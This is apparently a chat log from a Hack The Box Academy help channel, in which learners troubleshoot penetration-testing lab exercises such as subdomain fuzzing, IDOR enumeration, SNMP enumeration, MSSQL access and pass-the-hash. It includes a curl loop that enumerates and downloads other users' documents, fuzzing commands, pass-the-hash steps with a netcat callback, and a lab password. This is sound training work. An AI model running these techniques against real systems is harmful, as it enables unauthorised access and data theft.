
like a specific room in a house; it's for a specific person/thing and you keep things related to it there

[hasty lantern]

Metasploit question.

after I have the

[] Scanned 1 of 1 hosts (100% complete)
[] Auxiliary module execution completed.

How do I cat the location of the flag or the flag itself

[hallow osprey]

i don't find vhost starts with the prefix "web-" in Web fuzzing module - Virtual Host and Subdomain Fuzzing session. Help me please

[prime flame]

try a larger list

[hallow osprey]

task require using common.txt and i also tried

[misty current]

Can you drop the command?

[hallow osprey]

gobuster vhost -u http://94.237.59.199:53691 -w /usr/share/seclists/Discovery/Web-Content/common.txt --append-domain

[misty current]

check your url

Even your gobuster output should tell you what's going on wrong

[hallow osprey]

URL is not wrong. i checked

[misty current]

It's not wrong, but remember, gobuster feeds the Host header value with the hostname part of the URL

[prime flame]

they successfully seem to have found subdomains though that wouldent happen if their format was wrong

just not that one with web

[smoky marten]

it should be in seclists/Discovery/DNS/subdomains-top-1million-110000.txt (filename may be out of order but just check the directory and it should be there)

[hallow osprey]

thanks bro

[pliant coyote]

https://academy.hackthebox.com/module/67/section/601 Why does poc not have a dll file?

[limber river]

sometimes you just need to scroll a little bit

[autumn void]

?

[unique ether]

Where are the word lists stored on pwnbox

[storm elk]

which one are you looking for? /usr/share/wordlists/

And there's also /usr/share/seclists/

[unique ether]

yea i found the seclists in wordlists itself

dns subcategory

[idle sigil]

Hey, am working on AD module atm - quick question, after I have enumerated domain users with SPN, how can I figure out the internal IPs of these accounts?

[dim wolf]

i'm not sure what you mean by internal IPs of the accounts

please don't reveal spoilers, especially if it's the walkthrough

[idle sigil]

I mean after getting the SPNs and cracking the hashes of 1 of them, i want to use the credentials to pivot into another internal computer right? But I cannot figure out which internal IP the MSSQLSvc is on

[dim wolf]

you're not going to get an IP from an SPN

and since these are AD users, any domain-joined host is going to accept their creds as valid if you have them

[idle sigil]

ohhh

[unique ether]

Ohh ok mybad

But anyway I can know why they chose that subdomain

There were so many sub domains to choose from

[crude storm]

Hi, everyone if im having technical problems doing an exercise in the academy can i ask here?

[idle sigil]

I tried to nslookup the FQDN of one of those SPN results but got back nothing 😦 I am just wondering if there is any other way of figuring out what IP is the MSSQL service in

[smoky marten]

yep

[dim wolf]

if you haven't done it yet, you can use adidnsdump to get all the IP addresses and hostnames in DNS

[crude storm]

I’m currently working on the “Using the known subdomains for inlanefreight.com” exercise in Hack The Box Academy, and I’ve encountered a strange issue with DNS enumeration on my local VM.

When I run dnsenum on my local virtual machine to brute-force subdomains using a wordlist, the tool freezes and doesn’t make any progress. Additionally, my internet connection on the VM seems to drop, even though other devices on my local network still have internet access.

I’ve tried using other tools for DNS enumeration on my local VM, but I’m experiencing the same problem: the tools don’t seem to work properly, and my internet connection on the VM becomes unstable. However, when I run dnsenum from the Hack The Box Academy's external VM, it works perfectly, and I was able to complete the exercise without any issues.

Given these observations, I suspect there might be some network or firewall limitations on my local network or VM configuration that are causing this behavior. Here’s a summary of what I think might be happening:

Potential network restrictions or firewall rules on my local network that could be blocking or limiting DNS queries.

Resource limitations on my local VM that might cause it to freeze or lose internet connectivity under heavy load.

Possible DNS server rate limiting or blocking due to the high volume of requests from my local network.

Has anyone else experienced similar issues with DNS enumeration tools on a local VM? Do you have any suggestions on how I can troubleshoot or resolve these network and tool performance issues? Any advice or insights would be greatly appreciated!

Thank you!

[unreal berry]

same here

[idle sigil]

will try it out. thank you!

[frosty tide]

Hello I'm on Web Attack Module in Local file disclosure section, I follow the example in the section but couldn't get the injection success, The web respond with "Your browser sent a request that this server could not understand."

[shut quest]

Double check your payload, make sure all your open and close tags are there.

[frosty tide]

I try typing and even copy paste directly from the section it still the same error

[limber river]

someone finished the ADCS module ?, I have a question about the SA (already pwned just want to check something)

[sharp epoch]

Hi guys I'm currently struggling with https://academy.hackthebox.com/module/19/section/103 Service Enumeration with Nmap, I don't get this part where they use tcpdump, what are these IP addresses they use, why two of them?

[gray cloud]

Hey guys, just a quick notes for those of you doing the Web Attacks module , the curl request mentionned in the course just wont work as is, if you struggle to find how to do them you could always go in the element inspector and copy the requests as curl but basically you can't go curl http://SERVER_IP:PORT/documents?uid=1 as the curl request won't return anything, you have to change the request to a POST request (easier on burp) but the request would look like curl -X POST http://SERVER_IP:PORT/documents? -data-raw 'uid=1' and there you'll be able to follow the course

[shut quest]

You don't even have to do that if you're speaking of the local file disclosure section

[limber river]

they are just showing you what's goind on behind the scenes , those IP addresses are yours and the target after completing the tree way handshake the SMTP server (ur target ) send you data

[pliant coyote]

https://academy.hackthebox.com/module/67/section/601 The textbook doesn't say where the system came from.

[sharp epoch]

Hm, ok, so this first command with tcpdump kind of connect these two IPs and the second command with nc is making a request tot he specified URL and because of the connection established by tcpdump command I receive a response?

But it still doesn't work for me

└──╼ [★]$ sudo tcpdump -i eth0 host 10.10.14.174 and 10.129.106.121
tcpdump: eth0: No such device exists
(No such device exists)

How can I get the name of the device?

[limber river]

tcpdump don't make any request is just listening

you might want to do some networking stuffs first , check intro to networking module

[shut quest]

Yes it does, the cmd shell right above that

[frosty tide]

@shut quest It weird, the same payload on my own VM it not work but on pwnbox it work

[last geyser]

Hi All, im having an issue on the Responder where im unable to capture the event can anyone help me with this.

[shut quest]

¯_(ツ)_/¯

[gray cloud]

it's in the IDOR section not in the local file disclosure

am not there yet

[frosty tide]

you curling to get user data?

[gray cloud]

just to get the body of the page as stated in the course

[frosty tide]

which section

[gray cloud]

I believe it's Mass IDOR Enumeration

curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>

That didn't work for me

[frosty tide]

#!/bin/bash

for i in {1..20}; do
for hash in $(echo -n $i | base64 -w 0); do
curl -s0J http://IP:PORT/download.php?contract=$hash
done
done

This work fine for me

[gray cloud]

what worked was ```curl -s -X POST "http://SERVER_IP:PORT/documents.php?" -data-raw 'uid=1' | grep "<li class='pure-tree_link'>"

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>```

[pliant coyote]

That's SYSTEM.SAV.

[gray cloud]

it's not even in the Mass Idor Enumeration module

contract=$hash it's documents.php not contract

Repeat what you learned in this section to get a list of documents of the first 20 user uid's in /documents.php, one of which should have a '.txt' file with the flag.

[shut quest]

It's the same thing

[pliant coyote]

Why isn't it working?

[shut quest]

Even in the potato screenshot, it seems that you have not imported DSInternals.psd1

[shut quest]

Now that it's imported have you tried just .\system?

[pliant coyote]

That's what I'm asking where the SYSTEM file came from.

[frosty tide]

I did it yst it fine with the normal curl, I just went back and try again... yea it take POST method now

[gray cloud]

oh that's great you took the time to test it

I had another problem with the next module tho

[frosty tide]

the bypass encode?

[gray cloud]

like when you intercept the request that download the contracts (download.php) the request parameter is supposed to show you a MD5 checksum I believe and it did not at all

[gray cloud]

yeah

I had something like MQ%3B%3B (not sure) and it roughly translate to MQ== which to me is b64

[frosty tide]

ya in the right track

double check the method parameter and endpoint

[gray cloud]

Am working on something else so am not currently doing the courses but I'll go back later to see if it's a blocking point or not

[gray cloud]

well I just manually clicked on the file to download it while intercepting it

[shut quest]

It's been a while for me on that module, on phone and I don't have notes specifically for that.

I'm assuming you saved the reg with an elevated terminal?

[frosty tide]

That section provide us with a script to automate the process, modify the script double check the endpoint, parameter encode method then you good to go

[gray cloud]

I'll try later indeed, ty

[pliant coyote]

yes

[pseudo kiln]

Linux Privilege Escalation, Escaping Restricted shells, Command Substitution

They mentioned Command Subsitution as a technique for escaping restricted shells, but do not show an example. Does anyone have an example for it ? I could not find any online either.

Command Substitution
Another method for escaping from a restricted shell is to use command substitution. This involves using the shell's command substitution syntax to execute a command. For example, imagine the shell allows users to execute commands by enclosing them in backticks (`). In that case, it may be possible to escape from the shell by executing a command in a backtick substitution that is not restricted by the shell.

[quick crane]

what's up when I do this module:https://academy.hackthebox.com/module/280/section/3134, I use ffuf and gobuster,I found a hidden dir but not have gzip file then I ffuf backup dir also not have

[gray cloud]

can you provide more information ? what request did you do ?

[shut quest]

For humor reasons, you mind opening a new command terminal that is elevated, cd to c:\tools and save the system reg again?

[quick crane]

I use like this command ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -u http://94.237.59.63:55428/FUZZ -e .gzip -recursion -recursion-depth 3 -rate 5000 ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic -u http://94.237.59.63:55428/ur-hiddenmember/FUZZ -e .gzip -recursion -recursion-depth 3 -rate 500 gobuster dir -u http://94.237.59.63:55428 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -q gobuster dir -u http://94.237.59.63:55428/backup -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -q

this module wasted too much my time

[quick crane]

do you finshed this module?

[gray cloud]

what's the name of the module ? cuz the link you provided only goes to web fuzzing

[gray cloud]

yes

[quick crane]

Web Fuzzing-Validating Findings

[quick crane]

how do you solved this

[gray cloud]

well actually I thought it was the module I solved but it's not this one it's really similar tho, in CBBH we use ffuf a lot, try to reproduce the request in burp tho

sometimes it helps to correctly visualize the request

[pliant coyote]

Someone else is having the same problem I'm having.

@shut quest

[gray cloud]

and see if they are correct, you can also use the -proxy-replay parameter to pass your ffuf request through burp

[quick crane]

yeah this module I remember I do it but maybe this module is a new module

I remember have module name ffuf to test web application

[gray cloud]

yes

[shut quest]

The other thing you can try is if you did the diskshadow steps and pull the system file from there

[gray cloud]

you're fixated on a hidden dir tho but is it the only hidden dir or are there other folder that could lead you to said .gzip file ? @quick crane

[glad patio]

boys, need your help with this one:

Intro to Assembly Language, conditional branching: "The attached assembly code loops forever. Try to modify (mov rax, 5) to make it not loop. What hex value prevents the loop?"

I've prevented loop running by changing rax value to 2, so it has to be 0 after cmp subtracts 10. However, I just can't find the flag (hex value) and wonder if I did it right?

[pliant coyote]

same

[quick crane]

fuck I found this lol,but I not see it

[quick crane]

thanks your reply

[gray cloud]

you're welcome

[last geyser]

Could anyone help on this

[shut quest]

Did you do the poc?

[pliant coyote]

yes

[shut quest]

If you run whoami /priv what is the status of SeBackupPrivilege?

[pliant coyote]

able

I did everything the article said.

[shut quest]

Not sure then without spinning up the lab which isn't happening right now for me

[unreal berry]

Hi guys, I'm doing the Internal Password Spraying Module in AD Attacks and Enumeration and the machines (both Windows and Linux) does not spawn. anyone else have this problem ?

tried to revert couple times and gave it some time (10 mins) to respawn

just to note that before it happened, in the lab I got only 2 ICMP responses - 1 from the DC and the other from .255 machine.

[glad patio]

pretty sure that I've got the answer straight under my nose but dunno, doesn't work

[frosty tide]

I have complete this, got question can ask me haha

[quick crane]

thanks bro lol when I have questions I'll ask for help with you

[frosty tide]

sure can DM me incase in case I not respond here

[dim crater]

Hi, can i get some help on the Stack-based BufferOverflows on Windows module?
The target machine in the questions is extremely slow and loses the connection a lot (can't even get more than 3 minutes on the machine.)
Any help would be appreciated and if any of you got the same prob pls tell me. (Ive done all the troubleshooting necessary and still nothing)

[limber river]

@next bronze can I dm you about that when you are free ?

[next bronze]

go ahead

[pure void]

Does somebody has ssh connection problems too? (Working with IDS/IPS => Modules)

[quick crane]

ok,dear bro

[potent moss]

Hey everyone, I am working on the HTB basic toolset and currently on the 'Attacking Web Applications with Ffuf' module. I'm working on the parameter fuzzing - GET/POST portion.

The module suggests fuzzing the parameters for a php webpage in relation to passing a key through the URL (GET request).

I get the concept and what is happening but what I don't understand is why they suggest to use the term 'key' - http://<url>/admin/admin.php?para=key - How do you know to use the term 'key'? Is this standard protocol or could something other than key be used? How would you be able to identify something like this when you are in the dark about the target?

[pliant coyote]

@shut quest The SeBackupPrivilege permission, after I set it, unexpectedly changes back to disabled.

[ocean knoll]

Broken Authentication Brute-Forcing Password Reset Tokens
i try ffuf -w ./tokens.txt -u http://83.136.255.40:41881/reset_password.php?token=FUZZ 1 -fr “The provided token is invalid” i get the pass reset but i dont know the next step Did you specify a username when resetting the password?

#modules

[acoustic owl]

Take a look at the exact request that resets the password

[ocean knoll]

more details plz

[acoustic owl]

What do you need to reset the password? Take a close look at the request.

[ocean knoll]

Do you mean I have to specify a username? I don't know what you mean exactly.

[acoustic owl]

That is possible. That's why I say look at the exact password reset request.
The application must somehow know which password to reset.

[quick crane]

dear bro do you finished this module

bro do you solved this

[ocean knoll]

I have already specified a username, but when I try to log in, it does not respond.

[quick crane]

dear bro do you solved this

bro do you solevd this

[ocean knoll]

I have already specified a username, but when I try to log in, it does not respond.

[acoustic owl]

I don't know by memory what the exact request must look like. But the application needs to know which password to reset, a verification (PIN) and certainly also a new password

The server should always send you an response. Even if the request is incorrect

[median gale]

INFORMATION GATHERING - WEB EDITION
Skills Assessment
What is the API key in the hidden admin directory that you have discovered on the target system? Have found the hidden directory but not the api key any ideas? Seen other people sturgle too with this task but none seemed to comeback to give any hints

[fathom pendant]

Just visit the hidden directory

[west sentinel]

Currently stuck on Linux Fundamentals, page 6, see Qs below
1. What is the path to the htb-student's mail?
I ran a search for all files from root containing the string "mail"
find / -name *mail*
Here's the last 3 lines of output:
...
find: ‘/snap/core18/1885/var/lib/snapd/void’: Permission denied
/snap/core18/1885/var/mail
/snap/core18/1885/var/spool/mail

It came up with many results, but none of them are correct (afterall none of them are in htb-student's directory)

2. **Which shell is specified for the htb-student user?**

it should just be bash right? Afterall i'm seeing all this bash config and log files so surely?
ls -a
. .. .bash_history .bash_logout .bashrc .cache .gnupg .profile

Idk if this module is broken, or if i've missed something, pls let me know what you think
||(Also how do i post images, it be great if i could show a screenshot of terminal output)||

[fathom pendant]

:)

[median gale]

duh

[west sentinel]

wait forgot to give Qs

[median gale]

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.26.1</center>
</body>
</html>

[fathom pendant]

Are you connected to the target? :)

[fathom pendant]

-L to follow redirects

[west sentinel]

Yeah i think so! i remember doing the ssh, is there an ssh option to view connection status?

[median gale]

Why are you erasing it ?

[fathom pendant]

Did you specify the port?

[fathom pendant]

Because spoiler

[median gale]

Yes but its not the one it is looking for

[fathom pendant]

It contained info that you have to fuzz

[median gale]

True

[fathom pendant]

Did you also and it with /

[west sentinel]

nope... none was given, do i just assume port 22?
Also ssh did say i successfully connected, and my bash prompt change, so idk if port will make a difference

[median gale]

Thas was it...

[fathom pendant]

http://x.inlanefreight.htb/hidden/

[median gale]

Thank you, much obliged

[fathom pendant]

The port message wasn't for you

[west sentinel]

dearest apologies

[fathom pendant]

If your prompt that's running the command says htb-student@[servername] then that's the right prompt

[ornate frigate]

What is trivia night? Is it some kind of quiz event?

[fathom pendant]

Also whenever you run find, also add 2> /dev/null to the end

[west sentinel]

Yep, it says htb-student@nixfund
so yea, any other ideas?

[fathom pendant]

That will throw all errors into a void

And only show you results

[fathom pendant]

What's the exact section name, can't be bothered counting page numbers

[west sentinel]

idk where to find 'section name', so here's the link: https://academy.hackthebox.com/module/18/section/70

[fathom pendant]

It's near the top of the page

[fathom pendant]

Ah you misunderstood the question related to mail

You don't need to run find, check the environment first

[west sentinel]

oh dam it was a directory

[fathom pendant]

The shell question can be answered there too I believe

[west sentinel]

yep, got it now, probably should re-word that Q because the answer was a path, not the name of the shell.
Thanks for the help tho!

[fathom pendant]

Well actually...

Whenever a program is defined for a user it generally either resides in a local or /bin/ or /usr/bin location that's usable by everyone

It's why if you do which python it doesn't return a version, rather the path to where it's running the command from

[west sentinel]

interesting

[rare sky]

hi guys sorry for disorder, does anyone did "documentation & reporting" module? i can't crack the password of lab_adm, i have tried with rockyou, but nothing

i have red also some comments on the forum, but they say to use rockyou to crack the hash, but nothing

[plush nimbus]

uuh' the monotony ... love it

[fathom pendant]

Also technically it's a binary not a directory. If you type the shell in the terminal it'll start a nested session

[west sentinel]

the mail i mean, it never crossed my mind to cd into the path i found 😅

[vocal bridge]

what's up with this? vpn is on btw
from XSS module - phishing section

[fathom pendant]

Well the user's mail dir doesn't exist

[fathom pendant]

That's an issue with zap

Those Java errors are zap related

[vocal bridge]

[west sentinel]

oh dang, yeah, it is a directory, but its empty

[cold dome]

I'm 3 modules away from completing CBBH track. Any tips before taking the actual exam. I honestly did not take any notes since I believe everything is already organize and I can just go back if I forgot something.

[fathom pendant]

Honestly not taking notes is a bad idea

Notes can give you a quick glimpse into something that you can then use to look at the direct module if you didn't write something down

[cold dome]

I see

Anything to add aside from making my own cheat sheets?

[fathom pendant]

Ntm notes can help you outside of HTB context

[fathom pendant]

Context for commands

And a quick breakdown of it

[cold dome]

I see

[fathom pendant]

So that you understand it better

Instead of just copy/paste and pray

[cold dome]

Thank you.

[vocal bridge]

just had to upgrade smth and do an autoremove

[cold dome]

one last thing. where do you recommend me to take the exam? kali or parrot?

[fathom pendant]

Whichever you prefer

OS literally does not matter in the slightest

[cold dome]

okies

thanks man

[potent ingot]

just completed intro to the academy but can't unlock linux fundamentals

[gray yacht]

You get this sorted out?

[rare sky]

ehm, what do you mean fort sorted? i have copied and pasted the hash on my machine, and tried to crack with hashcat

[gray yacht]

So you were unable to crack it?

[rare sky]

nope

[gray yacht]

You can DM.

[rare sky]

ok

[warm pumice]

hello chat

[hard matrix]

gm internet hacking conglomerate

[desert brook]

anyone able to help with what i'm doing wrong here? it looks like this should work
└──╼ [★]$ snmpwalk -v3 -c public 10.129.202.20
snmpwalk: No securityName specified

[hard matrix]

try -v2c

[desert brook]

that works but doesn't hit any results. I can see the version is 3 and 161 is open udp

[hard matrix]

which module is this for

[desert brook]

footprinting - hard lab

[hard matrix]

i'm not there yet so i'll avoid trying to give more pointers
aside from maybe making sure your community string is right

[desert brook]

np! i'll keep banging on it. thanks for offering

[fathom pendant]

You need the right word to walk with

Did you try one of the tools to enumerate what the word may be

[desert brook]

i thought so but that isn't working either.

[fathom pendant]

Wdym?

It should out put something like [community_string]

Where the string is what's in the brackets

[hard matrix]

my notes on snmp suggest using onesixtyone+braa to find community strings

👍

[fathom pendant]

Well. I was moreso hinting at it to get him there on his own

:)

[desert brook]

I misread the output from 161. it was there this whole time

[fathom pendant]

https://tenor.com/view/asdf-asdfmovie-i-can't-read-i-cant-read-punished-lion-gif-3532527054645921660

[desert brook]

🤦‍♂️

[hard matrix]

many such cases

[fathom pendant]

Happens to everyone

The funnier bit is you likely could guess it too

[hard matrix]

whats the error you get

[rustic sage]

/etc/hosts add the following
SPAWNIP WS001 (I think it shoudl be WS01)

[prime flame]

@fathom pendant turns out I'm dumb yay

Took way way longer than I care to admin to find out about nested subdomains

[unique salmon]

You can't log in

[acoustic owl]

WS001 cannot be resolved. Specify the IP address

[unique salmon]

Of course, here is a step that can try it again and put an ip

You have an ip and you have credentials, log in

[acoustic owl]

use the IP instead of WS001

[unique salmon]

user bob and paswword Slavi123

[heavy slate]

nwm ill go and figure it out on my own, ty to everyone for your time.

[unique salmon]

Find out this is good, you have hints in this unit and you have a cheat sheet that you can distinguish your mistakes and overcome them

[wild cape]

Hey guys,

Intro to Whitebox Pentesting > Skills Assessment Part 2
I have managed to fully patch the code and it executes just as expected: logs a unique simple password of specified length. Running it locally everything seems good but when I submit my code for review I get the following message: "

Result: Original Purpose Failed.

should log a unique simple password of specified length
"
Anybody completed this module and can give me some help?

[stark egret]

Sup yall, anyone here recently completed Information Gathering - Web Edition (Updated version) module? Im stuck on one specific question

[acoustic owl]

just ask your question

[acoustic owl]

Which module?

[stark egret]

Skill Assesment, Question "What is the API key in the hidden admin directory that you have discovered on the target system?". I have found a subdomain and checked it's robots.txt, which contains a certain "admin related" path. Upon curling this webpath, i get back a html body containing "Moved permanently". Intuition tells me, that the api key that im looking for should be somehwere here in a directory and yet a gobuster search with big directory list doesnt return any results. Am i on the wrong path?

[acoustic owl]

Apply all the techniques shown in the module to the subdomain found. Then you should find what you are looking for.

[wild cape]

Intro to whitebox pentesting

It's the second part of the skills assessment, patching the vulnerable code

[acoustic owl]

Where exactly do you validate the input?

[wild cape]

Not sure I understood

[acoustic owl]

send me a dm

[wild cape]

Suree

[timid island]

I was going through this module Attacking Common Services - stuck on this section - https://academy.hackthebox.com/module/116/section/1169

How to solve this? any hints?

I have tried
mssqlclient.py WIN-02/htbdbuser@10.129.253.255 -windows-auth
mssqlclient.py -p 1433 htbdbuser@10.129.253.255 -windows-auth
mssqlclient.py htbdbuser:'MSSQLAccess01!'@10.129.253.255 -windows-auth
sqsh -S 10.129.253.255 -U htbdbuser -P 'MSSQLAccess01!'

Either I’m getting the above error as shown in image or -

Server 'WIN-02\SQLEXPRESS', Line 1 The server principal "htbdbuser" is not able to access the database "hmaildb" under the current security context.

[fathom pendant]

My subdomain has a subdomain? Blasphemy

[fathom pendant]

Don't use -windows-auth

Also looks like a bunch of your shit may be outdated

[timid island]

getting Server 'WIN-02\SQLEXPRESS', Line 1 The server principal "htbdbuser" is not able to access the database "hmaildb" under the current security context. if using the command without -windows-auth

[fathom pendant]

I've had no issues with it

[half beacon]

@acoustic owl

[acoustic owl]

?

[fathom pendant]

Your impacket is out of date

@timid island compared to the v 0.9.19 that you're running

that potentially could be the issue

[rustic sage]

In password attacks module, in Attacking active directory & NTDS.dit section,
It says " using evil-winrm to connect to target DC", What does DC stands for!?

[fathom pendant]

Yes htbdbuser can't use hmail think of the techniques shown in the section

One of them involves theft 😉

[desert brook]

for Footprinting - Hard lab : I found the id_rsa key in email, copied that into a file in the ssh folder and changed permissions but when i try to ssh using the user ID i found with the key it still prompts for a password

[fathom pendant]

Make sure you copied all the email

[desert brook]

I did make sure to grab the header and footer
-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----

[fathom pendant]

also try pasting it into a different text editor

Sometimes things mess up

I've had some characters get transposed somehow

[desert brook]

ugh. i had the wrong user name. Once again user error on my part

[fathom pendant]

Yeah. That'll do it too

[gray yacht]

It's generally used to refer to a Domain Controller (DC).

[jovial cliff]

Hello, I am doing the Introduction to Windows Command Line module > PowerShell > All About Cmdlets and Modules.
I ssh into the target host and I'm trying to install modules from PSGallery, but it seem like find-module doesn't find any of them. For example:
Find-Module -Name PSReadLine -Repository PSGallery
or

Will throw an error:

PackageManagement\Get-PackageSource : Unable to find repository 'PSGallery'. Use Get-PSRepository to see all available repositories. At C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1:4489 char:35

Also, Get-PackageSource will return:
WARNING: Unable to find package sources.

Running only: Find-Module -Name PSReadLine
PackageManagement\Find-Package : No match was found for the specified search criteria and module name 'PSReadLine'. Try Get-PSRepository to see all available registered module repositories.

I'm new to all this, what can I do? What is the problem?

[prime flame]

make sure you are running PS with admin rights

[marsh echo]

hello for this section https://academy.hackthebox.com/module/51/section/1777 they are waiting for what as a response because I think I have put the right answer: python 3.8.10

[shell solar]

Hello, why doesn't Burp see the site and send a response?

[fathom pendant]

Gonna need some context my guy

Module & section helps

[shell solar]

I made a list and added the encoding rules everything should be ok

[fathom pendant]

Did you re encode the payload?

:)

[fathom pendant]

You do it in the reverse order you decoded

You didn't prepend the payload also there's no need to match or skip anything

Because here's what's happening: only the end characters are being encoded and added on

That doesn't seem right

[rustic sage]

Oooo, Thanks 🫡🫡

[shell solar]

Well, you could have added a prefix rule, but I just added a ready-made list

[fathom pendant]

In the payload processing settings there should be an option to add a prefix

[marsh echo]

there is a prefix option that you have to put in processing

[fathom pendant]

Where you'd paste the 31 characters you found

And you replace the whole cookie with that

And use the wordlist stated

[shell solar]

ok but doesn't it seem the same?

[fathom pendant]

Going by what you're showing, no

Also make sure the option is selected to not url encode characters

[shell solar]

yes this option was initially disabled forgot to show, now I did the same only with the prefix rule but without success

[fathom pendant]

Are you replacing the whole cookie in your attack?

[shell solar]

Do you need PHPSESID too?

[fathom pendant]

The one you decoded is what you replace

[marsh echo]

marcie how you got there to find the latest version of python install, I made the following commands but I find nothing : dpkg --list | grep python , pt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list |grep -E python for this section ... https://academy.hackthebox.com/module/51/section/1777

[fathom pendant]

I used apt list --installed with a regex for lines starting with python

Note you don't put pythonx.yy

[marsh echo]

without grep -E so ?

[fathom pendant]

Just x.yy

[shell solar]

I added a list with seclist to the md5 hash and encoded it in reverse order

[fathom pendant]

Without -E

[marsh echo]

okok thx

[fathom pendant]

The list given by the question yeah?

[fathom pendant]

Also always clear the default list before loading one

[shell solar]

I don't even have an answer I don't think the problem is with the cookies I send

[fathom pendant]

Idk man, worked for me

[marsh echo]

see if your machine is still active

I mean the ip of the target

[shell solar]

active

[fathom pendant]

The only options needed for payload is prefix; encode; encode

[marsh echo]

reset and re make process

[fathom pendant]

The payload list should only be the alnum wordlist

*alphanum-case.txt

No weird extra prefixing to that list

[shell solar]

Yes, you just needed to restart the process

ok thanks guys

[foggy monolith]

So I'm up to the PtH section of password attacks now — and ran into a problem that takes these steps to reproduce:

1. cd C:\tools
2. Import-Module .\Invoke-TheHash
3. Invoke-WMIExec <SNIP>

Expected: should actually run

Actual: The term 'Invoke-WMIExec' is not recognized as the name of a cmdlet, function, script file, or operable program. <SNIP>

Not sure why it's not importing the module properly; can anyone help with this?

[fathom pendant]

I assume you tab autocomplete yeah? Also most modules to import are .ps1 files

[foggy monolith]

Yes, but for whatever reason the version of Invoke-TheHash in C:\tools has no extension. Do I need to rename the file for this to work?

[safe star]

Is it a directory?

[fathom pendant]

No

[foggy monolith]

Oh, now I see why. 🤦‍♂️

[fathom pendant]

:)

[safe star]

Did the same with mimikatz😭

[fathom pendant]

be smarter than the machine brothers

[marsh echo]

yo marcie I can send you a message ? by not having anything to do with the CPTS modules

[fathom pendant]

About?

[marsh echo]

advice for prolabs

[fathom pendant]

Haven't touched em

[foggy monolith]

Alright, so the command executes but Netcat just hangs.

[fathom pendant]

You're supposed to run the netcat before the wmiexec command afaik

[foggy monolith]

Did just that.

[fathom pendant]

Did you set the right callback IP/Port?

[foggy monolith]

||172.16.1.10 port 8001|| — anything else?

[marsh echo]

I want to know if it was a good idea to do offshore or dante as they are advise in the path for the preparation of the exam or just box like windows its enough?

[fathom pendant]

I don't recall the internal ip

[fathom pendant]

Prolabs aren't required and can have you overthink the exam

[foggy monolith]

And now XFreeRDP just crashed.

[fathom pendant]

The academyxlabs is not accurate as to what is completable with just the knowledge gained from the course

[marsh echo]

mhmm I see and well no prolabs for preparation I would after the certification

[fathom pendant]

You'll have to do far more research to pwn them

[marsh echo]

I understand thanks 😉

[foggy monolith]

? Still waiting

[fathom pendant]

¯_(ツ)_/¯

[foggy monolith]

Is there another thing that works besides Base64 encoding?

[fathom pendant]

Haven't touched that module in a minute

Base64 enc should work

[foggy monolith]

Well no matter how many times I try it, it won't budge. Just get a hang from Netcat. I wonder if PwnBox has anything to do with this seeing as though I'm not home at the moment.

[fathom pendant]

Are you running netcat in the target?

Or on the pwnbox